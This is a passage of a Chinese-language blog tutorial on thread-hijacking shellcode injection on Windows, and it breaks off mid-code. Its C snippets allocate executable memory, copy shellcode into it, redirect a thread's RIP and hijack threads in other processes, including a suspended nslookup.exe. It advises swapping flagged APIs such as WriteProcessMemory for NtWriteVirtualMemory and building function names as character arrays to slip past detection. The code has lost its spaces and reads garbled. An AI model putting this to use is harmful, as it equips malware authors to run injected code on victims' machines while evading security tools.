线程劫持(Thread Hijacking)
是指攻击者通过某种方式劫持线程的执行流从而执行shellcode的技术
线程劫持的核心思想是利用暂停目标线程、修改上下文来控制其执行流
线程上下文
在了解线程劫持之前 我们得先知道什么是线程上下文
线程上下文
指的是一个线程在执行时所需的所有信息集合 包括线程的寄存器和堆栈
可以通过GetThreadContext
来获取线程上下文
可以通过SetThreadContext
来修改线程上下文
对于线程劫持 我们的流程如下
创建挂起线程 -> 获取上下文 -> 修改ip寄存器 -> 恢复线程
这里创建挂起的线程的意义在于
所以主线程也是不能劫持的
创建挂起线程
voidtest(){MessageBox(0,0,0,0);}
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&test, NULL, CREATE_SUSPENDED, NULL);
修改线程上下文并恢复线程
CONTEXTcontext;DWORDdwOldProtection=NULL;context.ContextFlags=CONTEXT_ALL;// 分配内存LPVOIDlpMem=VirtualAlloc(NULL,length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);memcpy(lpMem,shellcode,length);VirtualProtect(lpMem,length,PAGE_EXECUTE_READWRITE,&dwOldProtection);// 获取上下文并修改RIPGetThreadContext(hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(hThread,&context);// 恢复线程ResumeThread(hThread);
这里使用calc的shellcode可能看不出来效果
因为主线程执行完就退出了
可以考虑用WaitForSingleObject阻塞主线程 再执行就弹计算器了
劫持现有线程
之前我们是创建了一个线程并劫持
现在我们考虑枚举系统的运行线程,然后进行劫持
通过CreateToolhelp32Snapshot
进行线程的枚举
HANDLEhSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);
获取到快照后遍历即可
THREADENTRY32te32={sizeof(THREADENTRY32)};if(Thread32First(hSnapShot,&te32)){do{wprintf(L"TID: %lun",te32.th32ThreadID);}while(Thread32Next(hSnapShot,&te32));}
现在获取的是所有的线程 而我们想要劫持指定进程的线程 只需要比对te32.th32OwnerProcessID
与指定进程pid即可
在知道tid后 通过openThread获得线程句柄 之后的操作和之前类似
HANDLEhThread=OpenThread(THREAD_ALL_ACCESS,false,te32.th32ThreadID);SuspendThread(hThread);LPVOIDlpMem=VirtualAlloc(NULL,length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);memcpy(lpMem,shellcode,length);VirtualProtect(lpMem,length,PAGE_EXECUTE_READWRITE,&dwOldProtection);GetThreadContext(hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(hThread,&context);ResumeThread(hThread);WaitForSingleObject(hThread,-1);
远程线程劫持
可以通过CreateRemoteThread
实现 但是该api是比较敏感的 可以考虑用CreateProcess
创建一个所有线程都挂起的进程
STARTUPINFOsi={sizeof(STARTUPINFO)};PROCESS_INFORMATIONpi;CreateProcess(NULL,_wcsdup(L"C:\Windows\System32\nslookup.exe"),NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
指定dwCreationFlags
为CREATE_SUSPENDED
挂起主线程 这里cmdline随便找一个
然后注入到远程进程中
通过VirtualAllocEx WriteProcessMemory
进行注入
WriteProcessMemory
是被标记的高危api 考虑使用NtWriteProcessMemory
typedefNTSTATUS(NTAPI*pNtWriteVirtualMemory)(INHANDLEProcessHandle,INPVOIDBaseAddress,INPVOIDBuffer,INULONGNumberOfBytesToWrite,OUTPULONGNumberOfBytesWrittenOPTIONAL);charstr1[]={'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','
评论